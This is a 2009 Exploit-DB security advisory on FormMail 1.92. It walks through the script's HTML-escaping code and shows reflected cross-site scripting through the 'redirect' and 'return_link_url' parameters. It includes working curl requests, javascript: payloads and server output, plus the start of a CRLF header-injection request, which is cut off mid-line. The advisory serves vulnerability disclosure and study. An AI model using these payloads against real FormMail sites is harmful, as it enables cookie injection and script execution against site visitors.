Exploit-DB #8950
Description: formmail 1.92 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2009-06-15
Author: USH

Exploit:
FormMail 1.92 Multiple Vulnerabilities

 Name              Multiple Vulnerabilities in FormMail
 Systems Affected  FormMail 1.92 and possibly earlier versions
 Severity          Medium
 Impact (CVSSv2)   Medium 4.3/10, vector: (AV:N/AC:M/Au:N/C:P/I:N/A:N)
 Vendor            http://www.scriptarchive.com/formmail.html
 Advisory          http://www.ush.it/team/ush/hack-formmail_192/adv.txt
 Authors           Francesco "ascii" Ongaro (ascii AT ush DOT it)
                   Giovanni "evilaliv3" Pellerano (evilaliv3 AT ush DOT it)
                   Antonio "s4tan" Parata (s4tan AT ush DOT it)
 Date              20090511

I. BACKGROUND

FormMail is a generic HTML form to e-mail gateway that parses the results
of any form and sends them to the specified users. This script has many
formatting and operational options, most of which can be specified within
each form, meaning you don't need programming knowledge or multiple 
scripts for multiple forms. This also makes FormMail the perfect 
system-wide solution for allowing users form-based user feedback 
capabilities without the risks of allowing freedom of CGI access. There 
are several downloading options available below and more information on 
this script can be found in the Readme file. FormMail is quite possibily
the most used CGI program on the internet, having been downloaded over 
2,000,000 times since 1997.

II. DESCRIPTION

Multiple Vulnerabilities exist in FormMail software.

III. ANALYSIS

Summary:

 A) Prelude to the vulnerabities
 B) Cross Site Scripting
 C) HTTP Response Header Injection
 D) HTTP Response Splitting

A) Prelude to the vulnerabities
 
What follows is the code used to validate the user input:

Line 283: $safeConfig array definition.

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

	foreach $field (keys %Config) {
		$safeConfig{$field} = &clean_html($Config{$field});
	}

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

Line 518: definition of clean_html function, used to generate the 
"$safeConfig" array from "$Config".

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

	# This function will convert <, >, & and " to their HTML equivalents.
	sub clean_html {
		local $value = $_[0];
		$value =~ s/\&/\&amp;/g;
		$value =~ s/</\&lt;/g;
		$value =~ s/>/\&gt;/g;
		$value =~ s/"/\&quot;/g;
		return $value;
	}

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

These functions are not always applied to the user input and don't
protect against all the attack vectors (as URI or DOM XSS that can work
also if encoded), this is why various vulnerabilities exist.

B) Cross Site Scripting vulnerability

Line 293: the "redirect" variable is used to write the location header 
value. Its value is not filtered so it's possible to perform both
HTTP Header Injection and an HTTP Response Splitting attacks.

Since Header Injection is one of the most versatile attack vectors we
could use it (like "downgrade it") to perform a Cross Site Scripting
attack but it would not represent a different vulnerability.

In this case we are already inside a "Location" response header and it's
possible to perform an XSS without splitting the response and using the
standard Apache page for the 302 Found HTTP status.

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--
		
# If redirect option is used, print the redirectional location header.
if ($Config{'redirect'}) {
 print "Location: $safeConfig{'redirect'}\n\n";
}

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

XSS vulnerability example:
	
http://127.0.0.1/FormMail.pl?recipient=foobar@ush.it&subject=1&redire
ct=javascript:alert(%27USH%27);

Response:

$ curl -kis "http://127.0.0.1/FormMail.pl?recipient=foobar@ush.it&sub
ject=1&redirect=javascript:alert(%27USH%27);"

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

HTTP/1.1 302 Found
Date: Sat, 11 Apr 2009 14:12:11 GMT
Server: Apache
Location: javascript:alert('USH');
Content-Length: 267
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="javascript:alert('USH');">here</a>.</p>
<hr>
<address>Apache Server at 127.0.0.1 Port 80</address>
</body></html>

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

Obiously the XSS is not automatic since browsers don't follow the 
"javascript:" URI handler in the "Location" header.

A second XSS vulnerability, not based on HTTP tricks, exists: in the 
following code the the "$return_link" variable is reflected (printed) in
the page body without any validation:

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

Line 371: the "$return_link" variable is printed in the page body 
without any validation.

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

# Check for a Return Link and print one if found.                    #
if ($Config{'return_link_url'} && $Config{'return_link_title'}) {
 print "<ul>\n";
 print "<li><a href=\"$safeConfig{'return_link_url'}\">$safeConfig{'return_link_title'}</a>\n";
 print "</ul>\n";
}

--8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<-8<--

The vulnerability can be triggered with the following request:

$ curl -kis "http://127.0.0.1/FormMail.pl?recipient=foobar@ush.it&subj
ect=1&return_link_url=javascript:alert(%27USH%27);&return_link_title=USH"

This XSS is not automatic.

C) HTTP Response Header Injection

An HTTP Response Header Injection vulnerability exists, the following 
request triggers the vulnerability:

$ curl -kis "http://127.0.0.1/FormMail.pl?recipient=foobar@ush.it&sub
ject=1&redirect=http://www.example.com%0D%0aSet-Cook